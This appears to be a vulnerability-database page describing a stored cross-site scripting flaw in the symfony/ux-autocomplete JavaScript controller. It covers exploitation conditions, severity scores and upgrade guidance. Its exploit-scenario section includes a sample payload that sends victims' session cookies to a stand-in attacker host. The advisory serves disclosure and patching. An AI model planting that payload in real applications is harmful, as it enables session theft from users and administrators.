Skip to main content

Symfony UX Autocomplete CVE-2026-49216

| EUVDEUVD-2026-45216 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-06-19 https://github.com/symfony/ux GHSA-mwqm-4fw3-cjvr
5.1
CVSS 4.0 · Vendor: https://github.com/symfony/ux
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Attacker submits XSS payload via user-controlled input field
  2. Delivery
    Payload persists in application data store
  3. Exploit
    Victim loads page with AJAX autocomplete widget
  4. Execution
    Browser requests AJAX endpoint returning malicious text field
  5. Persist
    Stimulus controller interpolates unescaped value into DOM template literal
  6. Impact
    Injected markup executes in victim's browser context

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires two concurrent conditions: (1) the application uses symfony/ux-autocomplete with an AJAX-powered autocomplete widget configured via autocomplete_url, activating the vulnerable _createAutocompleteWithRemoteData() code path; and (2) the AJAX endpoint returns data derived from user-controlled input that has not been independently HTML-sanitized before storage. The attacker must first successfully persist a malicious payload in the application's data source through whatever input channel populates the autocomplete results (e.g., a registration form, product name field, or comment). Exploitation is then deferred until a victim user loads a page containing the affected widget and the dropdown renders the stored payload. Applications using only static server-side rendered option lists (non-AJAX autocomplete) are not affected. The previously existing AutocompleteChoiceTypeExtension normalizer that forced options_as_html=false on AJAX autocompletes did not prevent exploitation because it controlled a PHP-side flag that did not affect the JavaScript rendering logic.

Impact

No official CVSS score has been assigned by NVD or Symfony at time of analysis, so severity must be inferred from the vulnerability class and context. This is a stored XSS: unlike reflected XSS, the payload is persisted server-side and fires automatically for every user who loads an affected autocomplete widget, substantially multiplying impact beyond a single interaction. The attack chain is low-complexity once the attacker has write access to any user-controlled data field that feeds an autocomplete endpoint. EPSS data is unavailable, and the vulnerability is not listed in CISA KEV, so mass exploitation has not been observed. No public proof-of-concept exploit has been identified. The risk is bounded by the prerequisite that the autocomplete widget must be AJAX-backed AND the backing data must include user-supplied content - applications using only static server-rendered option lists are unaffected. Given the widespread adoption of Symfony UX and the straightforward exploitability of stored XSS once conditions are met, this warrants prompt patching for any deployment meeting the exploitation conditions, despite the absence of confirmed active exploitation.

Exploit ScenarioDerived

An attacker registers an account or submits a form on an application that uses an AJAX-backed Symfony UX Autocomplete widget, entering a display name such as <img src=x onerror="document.location='https://attacker.example/steal?c='+document.cookie">. The malicious value is stored in the application's database and subsequently returned via the AJAX autocomplete endpoint. When a privileged user (e.g., an administrator) later navigates to a page containing the affected autocomplete widget and types a search query, the browser fetches the AJAX response and the Stimulus controller interpolates the unescaped payload into the DOM, triggering the onerror handler and exfiltrating the victim's session cookie. No public proof-of-concept exploit has been identified, though the vulnerability class requires minimal technical sophistication to exploit given knowledge of the affected endpoint.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 19, 2026

Stored cross-site scripting in symfony/ux-autocomplete allows an attacker who can write user-controlled data to an AJAX autocomplete endpoint to execute arbitrary JavaScript in the browser of any user who subsequently loads a page containing an affected autocomplete widget. The Stimulus controller's _createAutocompleteWithRemoteData() function interpolates the text field from AJAX responses directly into HTML template literals without sanitization, causing the browser to parse and execute embedded markup. The vulnerability affects composer package versions 2.2.0-2.36.0 and 3.0.0-3.1.0; a vendor-released patch is available, and no active exploitation has been confirmed (not in CISA KEV).

RemediationAI

Upgrade symfony/ux-autocomplete to version 2.36.0 (for 2.x installations) or 3.1.0 (for 3.x installations) as confirmed by the vendor advisory at https://github.com/symfony/ux/security/advisories/GHSA-mwqm-4fw3-cjvr; the underlying fix is available at commit https://github.com/symfony/ux/commit/842ae54bc74de389299f975f01aafae272cb0019. After upgrading, AJAX response text fields are HTML-escaped by default. Applications that intentionally return HTML in the text field (e.g., to bold matched search terms) must explicitly set options_as_html: true in their form type configuration to restore the previous rendering behavior - omitting this setting after upgrade causes raw HTML to display as escaped text rather than rendered markup, which is a visual regression but not a security issue. If an immediate upgrade is not feasible, a compensating control is to sanitize or strip HTML from all values stored in data sources that feed AJAX autocomplete endpoints at the persistence layer; this prevents malicious payloads from entering the data store, though it is less reliable than the vendor patch.

Affected VersionsENISA

ux 3.0.0, < 3.1.0
ux < 2.36.0

Affected Packages

composer symfony/ux-autocomplete fix: 2.36.0, 3.1.0
euvd ux fix: 2.36.0, 3.1.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The affected code resides in the Stimulus JavaScript controller bundled with the symfony/ux-autocomplete Composer package (pkg:composer/symfony_ux-autocomplete). The controller integrates TomSelect for dropdown UI rendering and uses _createAutocompleteWithRemoteData() to populate options from a remote endpoint. In vulnerable versions, the option and item renderer callbacks interpolate the text field from AJAX JSON responses directly into HTML template literals (<div>${item[labelField]}</div>), causing the browser's HTML parser to treat the string as markup rather than text content. This is a textbook CWE-79 (Improper Neutralization of Input During Web Page Generation) instance: untrusted data enters an HTML context without encoding. Because the payload persists in the application's data store before rendering (stored XSS), it executes for every subsequent victim who triggers the dropdown. The fix applies TomSelect's built-in escape() HTML-encoding helper to the text field before interpolation, with an explicit opt-in path (options_as_html: true) for endpoints that legitimately return HTML such as search-term highlighting.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/symfony/ux) PRIMARY 5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
vuln.today AI 5.4 MEDIUM

Stored XSS requiring low-privilege write access to populate the data source (PR:L); victim must trigger the dropdown (UI:R); scope changes to the victim's browser (S:C).

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (https://github.com/symfony/ux).

CVSS VectorVendor: https://github.com/symfony/ux

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Active
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

Lifecycle Timeline

1
CVSS changed
Jul 17, 2026 - 17:22 NVD
5.1 (MEDIUM)

DescriptionCVE.org

Description

The Stimulus controller shipped with symfony/ux-autocomplete renders AJAX response items into the dropdown by interpolating the text field directly into HTML template literals (<div>${item[labelField]}</div>) inside _createAutocompleteWithRemoteData(). The value is parsed as HTML rather than text, so any markup contained in the AJAX response is executed by the browser.

When the dropdown values are derived from user-supplied content, an attacker can craft a string that triggers stored XSS in the browser of any other user who later opens a page containing an autocomplete widget backed by the same data.

Resolution

The option and item renderers used in _createAutocompleteWithRemoteData() now use TomSelect's escape helper to HTML-escape the value by default. Endpoints that legitimately return HTML (for example, to highlight the search term) can opt back in to the previous behavior by setting options_as_html: true. The AutocompleteChoiceTypeExtension normalizer that previously forced options_as_html=false when autocomplete_url was set has been dropped so the opt-in is reachable from the form layer.

The patch for this issue is available here for branch 2.x (and forward-ported to 3.x).

Credits

Symfony would like to thank Alex Ashkov for reporting the issue and Hugo Alliaume for providing the fix.

Threat Intelligence Overview

EPSS Score
0.3%
Top 76% exploitable
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy